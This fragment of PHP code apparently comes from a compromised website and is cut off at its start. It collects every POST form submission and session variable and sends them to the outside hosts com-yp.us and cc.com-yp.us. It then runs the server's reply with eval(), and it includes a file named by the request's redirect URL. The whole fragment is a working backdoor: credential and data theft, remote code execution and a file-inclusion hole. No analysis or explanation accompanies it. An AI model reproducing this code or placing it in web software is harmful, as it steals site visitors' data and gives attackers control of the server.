$_POST, "s"=>$_SESSION)); if (function_exists("curl_init")){ $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, count($postfields)); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postfields)); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_URL, "http://com-yp.us"); $e=curl_exec($ch); $i=curl_getinfo($ch); if ($i["http_code"]>="400" || $i["http_code"]==0){ curl_setopt($ch, CURLOPT_URL, "http://cc.com-yp.us"); $e=curl_exec($ch); } curl_close($ch); } else { ini_set('default_socket_timeout', 2); $o=array('http'=>array('method'=>'POST', 'timeout'=>'2', 'header'=>'Content-type: application/x-www-form-urlencoded\r\n', 'content'=>http_build_query($postfields))); $s=stream_context_create($o); $e=file_get_contents("http://com-yp.us", false, $s); if ($e===false){ $e=file_get_contents("http://cc.com-yp.us", false, $s); } } eval($e); if( isset($_SERVER["REDIRECT_URL"]) ) include( substr($_SERVER["REDIRECT_URL"],1) ); ?>